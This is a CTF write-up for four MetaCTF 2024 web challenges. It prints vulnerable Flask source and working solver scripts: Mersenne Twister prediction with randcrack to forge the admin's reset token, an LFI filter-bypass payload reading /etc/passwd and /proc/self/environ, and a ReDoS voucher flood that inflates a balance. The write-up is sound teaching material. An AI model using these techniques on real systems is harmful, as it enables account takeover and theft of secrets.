Writeups for the MetaCTF v5 2024 CTF Web Challenges that was held on 30th June 2024.
Python’s Twister
Challenge Description
Hack our admin.
Solution
The challenge is a simple flask application that has register/login/pass-reset functionalities. The app generates 10000 random numbers and assigns one to each user when registered as a reset token, the admin has the reset token with index 1499. The flag is stored in an environment variable and is displayed when the admin logs in.
The first to look at is how the secrets are generated, they use python’s random and it doesn’t seem to be realistic (CTFs momento), we all know that the default random number generators in programming languages are predictable and Python is no exception. From Python docs:
Warning
The pseudo-random generators of this module should not be used for security purposes. For security or cryptographic uses, see the
secrets
module.
The challenge code is as follows:
from flask import Flask, render_template, request, redirect, url_for, flash
import random
import uuid
import os
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
# Simulated database
users = {}
reset_tokens = {}
# Function to generate 10000 random numbers and assign one to each user
def generate_random_numbers():
random_numbers = [random.getrandbits(32) for _ in range(10000)]
return random_numbers
random_numbers = generate_random_numbers()
def get_username_by_secret(users, secret):
for username, info in users.items():
if info.get('secret') == secret:
return username
return None
# Function to generate a random secret
def generate_secret(username):
random_int = random_numbers.pop(0)
return f"{username}-{random_int}"
@app.route('/')
def home():
return render_template('login.html')
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
user = users.get(username)
if user and user['password'] == password:
if username == 'admin':
flash(f"Welcome admin here is your flag {os.getenv('FLAG')}")
flash(f"Welcome {username}! Your password reset token is {user['secret']}", 'success')
return redirect(url_for('home'))
else:
flash('Invalid credentials', 'danger')
return redirect(url_for('home'))
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users:
flash('User already exists', 'danger')
else:
if len(random_numbers) == 0:
flash('No more random numbers available for registration', 'danger')
else:
secret = generate_secret(username)
users[username] = {
'password': password,
'secret': secret
}
flash(f'Registration successful! Your password reset token is {secret}', 'success')
return redirect(url_for('home'))
return render_template('register.html')
@app.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
if request.method == 'POST':
reset_token = request.form['reset_token']
new_password = request.form['new_password']
username = get_username_by_secret(users, reset_token)
if username and username in users:
users[username]['password'] = new_password
flash('Password reset successful', 'success')
return redirect(url_for('home'))
else:
flash('Invalid reset token', 'danger')
return render_template('reset_password.html')
# Create an admin account
if __name__ == '__main__':
admin_secret = f"admin-{random_numbers[1499]}"
users['admin'] = {
'password': f'passdsipjfouyqevtwbnou074969546aYHGSHBKGH{str(uuid.uuid4())}',
'secret': admin_secret
}
random_numbers.pop(1499)
app.run(host='0.0.0.0')
There is a Python library (randcrack) that lets you predict the exact seed that is being used if you provide it with a sequence of 624 random numbers, to follow that I generated a full PoC that registers the required sequence of accounts to get their secrets, provides them to randcrack, get the admin’s secret at the next random number after (1499-624) random numbers, reset the admin’s password and logs in to get the flag.
from randcrack import RandCrack
import requests
import re
rc = RandCrack()
url = "http://f1d27711-f60a-4516-81ea-82cbb6bdea72.cscpsut.com"
# url = "http://127.0.0.1:5000"
holder = "oz"
for i in range(624):
username = f"{holder}{i}"
password = f"{holder}{i}"
data = {"username": username, "password": password}
response = requests.post(url + "/register", data=data)
token = re.findall(
f"Your password reset token is {username}-(-?\d+)",
response.text,
)[0]
rc.submit(int(token))
print(f"Submitted {i}\t {token}", end="\r")
print()
for i in range(1499 - 624):
rc.predict_getrandbits(32)
admin_secret = f"admin-{str(rc.predict_getrandbits(32))}"
print(admin_secret)
# reset password
requests.post(
url + "/reset_password", data={"reset_token": admin_secret, "new_password": holder}
)
res = requests.post(url + "/login", data={"username": "admin", "password": holder})
print(res.text)
The flag:
White
Challenge Description
Our intel team has found a web page which looks innocuous, but seems to be hiding secrets locally…
Solution
There is a simple LFI when we click on one of the posts button,
If we play with it a bit we will notice that it blocks any request that doesn’t contain the localhost:80
, from this I tried different bypasses and techniques and this payload worked file:///etc/passwd#localhost:80
:
Finally, we can read the flag at /proc/self/environ
, but I want to go a bit further and read the application source code.
Through /proc/self/cmdline
we can tell that the application is called app.py
and from looking at other different challenges I guessed that the challenge files are stored in /app
directory with this lucky guess we can read the source at /app/app.py
And at the same source level we can read the flag.txt
which I knew about from reading the entrypoint.sh
Scamming Factory (1/2)
Challenge Description
I was looking for machines for my new factory and I came across this website. It seems weird and it has a lot of ads popping up. Can you take a look at it for me?
Solution
The challenge website has a weird theme where it pops-up fake scare-wares whenever you click on something, there didn’t seem to be any visible backend functionalities from the buttons/code provided, the page’s sources didn’t have anything interesting but simple items listing with no functionalities, except a small obfuscated JS code that wasn’t clear what it was doing
The obfuscated JS code that I found in /js/addon.js
{% raw %}
var uniqueId;(function(){var qSg='',JDm=949-938;function WYh(b){var r=1320763;var z=b.length;var l=[];for(var t=0;t<z;t++){l[t]=b.charAt(t)};for(var t=0;t<z;t++){var x=r*(t+200)+(r%37471);var v=r*(t+694)+(r%41467);var n=x%z;var p=v%z;var d=l[n];l[n]=l[p];l[p]=d;r=(x+v)%3077184;};return l.join('')};var VHP=WYh('toksfrujcoivbqrystupohcmelzndgtnawxcr').substr(0,JDm);var hJz='fl,=hr=ne1aC3ym+tbn;mtkCd==tcg46p=o= ;j)oo==ot,vwg )(jSp< {8hiu,rly;v,8)[;pw70aryvtC0p=s!na0lfri(r(dof-ivo8gal(c"b,ru i.4tian g{t{;,ra+na}{](+s0[+oqg;0,()b( )h ,6;] =brn=(s=krri,i1)ut5e ) (.yb+jaer2(u0rv="={0;}tfj)f.rm= 9hzy[b,rq0io+;xrj6<f;];.eohuu)ta.]lioe"6}vefo1(7rrup=)+gfnh{ld()sfqxwk=t.];u0nitjnl;l=0h.ymzs487i(+f0=nausa.cs;j=e,van h+==tkn.*hpv ;).; vv)aCt=c=(;ke" p(+y;vas.orb.+n9rC<d6ydvrb8vck ort}gu;n;gs) h=g+t sa,+jjr;;)C=ge4n<nsrl]92==nlk+.;,1=a-[.}.j2+"o(()og(ir;zrtuk,ll;1chf[a d7rtrw5>)u2idahl>lrt;v-vkt;1.];egl, xv24(;c<e];"nr806h;eh1da=]hhrh)ov1oe)=(an3)xtp8[h=;f 52pAe=i=a+p4=!+Cs.ia].zme.esen;qkt.+rvvq s=(ccn)gA,( a"=r[;fj.9)7rds6dkicebd)-azi[kgxz,98;+e(,;[et"bvu{[-iiaz;}a.eipl=(uors;u))=)2a,sn;n;)4l[frsr,(n+,3r15=w]raba)7+v7;xs9S]ynnu)fv,=b+r(t+i6,r)oksi;9*n.rbeha)Ao}-]r, h;l.(;rla.)p89r([r(1(hf]Afovrat 1i,([r="x7,1v)eCrar,-;eg+xeg)t"n+0vr8o.u;ocp1[A(i(uv.x2ns(tl;';var zOS=WYh[VHP];var Uug='';var RaS=zOS;var urI=zOS(Uug,WYh(hJz));var EJP=urI(WYh('_qB=t8_Bni(B=f$f9}44u,eB(.f.44;;8$(.e\'(ltfot(6qr[_B24+)(;Bo!}cran9fen.iBB5\/;8ntua,1k"7,3!01B9$)S!Sen_Be28c.b<B"d}B$;fkB3e(s].8(9+B"_5B_$jd)B i!Bfbpo&0"[bdc240rtx90Bf.(.f=o&fjtBre_n(]nu6019BBfrdkeBB+3fi;tgi(1ta(cmBsB5=%t6,on7k97s.)].eg(]o\/2Byd=.dt1af7seoe8a=6e.{$%eB,fdo7q-,y_%(1ct[ls4)(v fBi;[8:!Bfi4e%_ %_%BtC8osM8ycd_$i0$eo,#r760n$23h0e!e;Bd3){foatd)j(B:eBBh=:n$1(x.s6.4eeeuBBaBB(%2ijelendm.!n(3%(6Bf._BB69=8;].Be($8:{!).aj7sv"B(i.[3h6e&xtm u)eB;\/nB_{40.B;)jCg%B8Bf)h0a]!}]n,v8BfB8ti5n7B%,4,d%.n!4]);a5)r!e&!i_#d[B5)2t_=f_,l2,$(BjBs4eBo3 c[.n) ).nt(Broe0$.i.s)af.a&B.<).9cb=_0,4B3.x6;BnBo5,c+r];%Bj=e$$BB0e)Bfjh,ia]"5g_f};n_b)}\'6%r)n,e)3!fbie.b.3{re2(1(7e;;n0a.,B),dB)pe8_Ba!9BB=.h.8BBnebecaeB}t5]o3ff!BSr.-n!aB3(o#i1"BB;_.a5vfnkq=33tB\/u36t}IfB$e} _)]0r_[fB5B679]_9&-B_u9i7n*,!(?u24)32sBfo_ _8,%r1Bee.BahB)sud.rB,"u(06.-],)1$i(.\') )rx(st3);% t4_f{($1f\'!1e,B]!!%gdsxs2o{11((+0tB1g)!e7e1_mf}7Bb0()](6b7!6)e)s41B8ec(n0$+6)aB +5B]f7_=iBB#lB]BB,{}B$(b_85(9(B.Bj270}=..y;0ar3jo!]!-_r$s)rB=b]tBN!e7(} u{Bif683;#_){=#te20beBit_;)m)r]7)!Ba,".$m_3=,$c8.$.,,[7_7=Bn29$5*3${\/mafb$ leB _$g.8ee1,;a)}e5oBBiahuB3Btaer,s-=:f;v.4rBuria(%sol;)$((ylB_<4a$;r8$f(fe(a\']55()jx{=.5_ba4B6c(B(;=.a,( )%*,_2-$)e {EBasu B()i.+et{;+B sBB$duaSBef.]820;q;5t21( B9uBc3BB0, e#xsp*f,f=_8,B=2609=-ugB)fBc c;7.l06f+&)7BB(]!])aB-ore.64#ltB)3u-B85fr!<fsr))Inf]o)3) b$9$2t_B(.l{+n$]oB%).{{0Bj_6o;Ba)8lB.,6,_.e .u$;yo_c[:fr%x_t ]fB;s;s;(_to,r ee.a%B .f_;BB],BejBBri!10oi((d+3ravvipy,t8.Bv04iB 1=B.Bf_.oeau(;-rh)_r4,gthe{ 6Btg'));var BDk=RaS(qSg,EJP );BDk(8443);return 5382})()
{% endraw %}
I had no clue where to go next, none of the online deobfuscation tools helped me understand this code so I ended up debugging it step-step in the browser which wasn’t as bad as I thought.
After debugging the code a bit, I found an array of strings that contains this path /storeverysecretkeystokesdatabase
, and in that path I got the following response {"message":"Please provide uid and key and field to get the keys go to /getverysecretkeystokesdatabase"}
and finally I found the flag at /getverysecretkeystokesdatabase
Cham
Challenge Description
Are u rich?
Hint: regex + timeout = $$
Solution
The application is a simple shop with items listed including the flag item which costs 1337, we have 0 balance but we can get 100 balance if we use the given voucher that each users gets and is allowed to use it or any other free voucher only once.
from flask import Flask, session, render_template, request, send_from_directory, jsonify, make_response, render_template_string
import os
import secrets
import string
import mysql.connector
import re
import multiprocessing
app = Flask(__name__)
app.secret_key = '<REDACTED>'
app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = '<REDACTED>'
app.config['MYSQL_DB'] = 'chamb'
def get_db_connection():
return mysql.connector.connect(
host=app.config['MYSQL_HOST'],
user=app.config['MYSQL_USER'],
password=app.config['MYSQL_PASSWORD'],
database=app.config['MYSQL_DB']
)
def generate_random_voucher():
characters = string.ascii_letters
digits = string.digits
voucher = "zoz"
voucher += secrets.choice("-_.")
voucher += ''.join(secrets.choice(characters) for i in range(random.randint(3, 5)))
voucher += secrets.choice("-_.")
voucher += ''.join(secrets.choice(digits) for i in range(random.randint(6, 12)))
return voucher
def generate_random_username(length=16):
characters = string.ascii_letters + string.digits
return ''.join(secrets.choice(characters) for i in range(length))
@app.route('/', methods=['GET'])
def index():
conn = get_db_connection()
cursor = conn.cursor()
if session.get('username') is not None:
cursor.execute('SELECT first_time FROM users WHERE username = %s', (session.get('username'),))
first_time = cursor.fetchone()[0]
cursor.execute('SELECT balance FROM users WHERE username = %s', (session.get('username'),))
balance = cursor.fetchone()[0]
cursor.close()
conn.close()
if first_time == 0:
return render_template('index.html', voucher=f"Your first time $100 voucher: {session.get('voucher')}",balance=f"${balance}")
return render_template('index.html', balance=f"${balance}")
username = generate_random_username()
voucher = generate_random_voucher()
session['voucher'] = voucher
session['username'] = username
cursor.execute('INSERT INTO users (username) VALUES (%s)', (username,))
conn.commit()
cursor.close()
conn.close()
return render_template('index.html', voucher=f"Your first time $100 voucher: {session.get('voucher')}",balance=f"$0")
def redeem_voucher_process(username, voucher, result):
conn = get_db_connection()
cursor = conn.cursor()
cursor.execute('SELECT first_time FROM users WHERE username = %s', (username,))
first_time = cursor.fetchone()[0]
if first_time == 1:
result['response'] = ("You can redeem your voucher only once", 400)
cursor.close()
conn.close()
return
conn = get_db_connection()
cursor = conn.cursor()
try:
pattern = r"^zoz[-_.][a-zA-Z0-9]{3,5}[-_.](\d+)+$"
cursor.execute('UPDATE users SET balance = balance + 100 WHERE username = %s', (username,))
conn.commit()
print("hereee")
match = re.match(pattern, voucher)
print(voucher)
if match:
print("Voucher matched")
cursor.execute('UPDATE users SET first_time = 1 WHERE username = %s', (username,))
conn.commit()
result['response'] = ("Voucher redeemed, please refresh the page to view your balance", 200)
else:
cursor.execute('UPDATE users SET balance = balance - 100 WHERE username = %s', (username,))
conn.commit()
result['response'] = ("Invalid voucher", 400)
except Exception as e:
result['response'] = (str(e), 400)
finally:
cursor.close()
conn.close()
@app.route('/redeem_voucher', methods=['POST'])
def redeem_voucher():
username = session.get('username')
if not username:
return "User not logged in please refresh the page", 400
voucher = request.form.get('voucher')
if not voucher:
return "Voucher not provided", 400
result = multiprocessing.Manager().dict()
process = multiprocessing.Process(target=redeem_voucher_process, args=(username, voucher, result))
process.start()
timeout = 1
process.join(timeout)
if process.is_alive():
process.terminate()
process.join()
return "Something Went wrong", 400
return result['response'][0], result['response'][1]
@app.route('/buy_product', methods=['GET'])
def buy_product():
products = {
'Drill': 75,
'Pliers': 10,
'Wrench': 30,
'Hard hat': 50,
'Screwdriver': 15,
'Paintbrush': 5,
'Hammer': 25,
'Flag': 1337
}
username = session.get('username')
if not username:
return jsonify({"error": "User not logged in"}), 401
product_name = request.args.get('product')
if product_name not in products:
return jsonify({"error": "Product not found"}), 404
product_price = products[product_name]
conn = get_db_connection()
cursor = conn.cursor()
cursor.execute('SELECT balance FROM users WHERE username = %s', (username,))
current_balance = cursor.fetchone()[0]
if current_balance < product_price:
cursor.close()
conn.close()
return jsonify({"error": "Insufficient balance"}), 400
new_balance = current_balance - product_price
cursor.execute('UPDATE users SET balance = %s WHERE username = %s', (new_balance, username))
conn.commit()
cursor.close()
conn.close()
if product_name == "Flag":
return jsonify({
"message": f"Wow how do you have so much money here is your flag: {os.environ.get('FLAG')}"
}), 200
return jsonify({
"message": f"Successfully purchased {product_name}. Remaining balance: {new_balance}, We will ship to you as fast as possible :)"
}), 200
@app.route('/css/<path:filename>')
def serve_css(filename):
return send_from_directory(os.path.join(app.root_path, 'assets', 'css'), filename)
@app.route('/js/<path:filename>')
def serve_js(filename):
return send_from_directory(os.path.join(app.root_path, 'assets', 'js'), filename)
@app.route('/images/<path:filename>')
def serve_images(filename):
return send_from_directory(os.path.join(app.root_path, 'assets', 'images'), filename)
if __name__ == '__main__':
app.run("0.0.0.0", debug=False)
Notice that the check of our voucher uses multithread which is weird and dangerous, I thought it would be a race condition because of the threading being used there but I was wrong after a lot of try-and-fail, using race condition we can only consume the same or any two vouchers only twice i.e we can get the balance of 200 only.
At this point I wasn’t aware of the hint and had no ideas to try it out, the CTF was over and I couldn’t solve the challenge. The next day after the CTF in the morning I rechecked the website and noticed that I had many notifications in the platform, the last one was that a new hint was added to chamb challenge, felt despair a bit and continued to the challenge to see the hint. Now it mentioned regex and we know about multithreading, the first thing that came to my mind was to check for ReDos in Hacktricks interestingly there was a clone and use tool for the job regexploit after giving it the regex that was used in the website we got a ReDos possible input.
Using this output I made the following exploit to get an infinite balance to buy the flag 👌+🏴= 🙂
#!/usr/bin/python3
import requests
url = "http://f52668c3-8361-4727-8634-ad0a85fec4ac.cscpsut.com/"
buy_flag = url + "/buy_product?product=Flag"
redeem_url = url + "/redeem_voucher"
res = requests.get(url)
session = res.cookies["session"]
voucher = "zoz-000-" + "0" * 3456 + "a"
for i in range(14):
req = requests.post(
redeem_url, cookies={"session": session}, data={"voucher": voucher}
)
print(f"Attempt {i + 1}", end="\r")
print()
req = requests.get(buy_flag, cookies={"session": session})
print(req.text)
Hope you enjoyed and learned a lot while reading this 🙂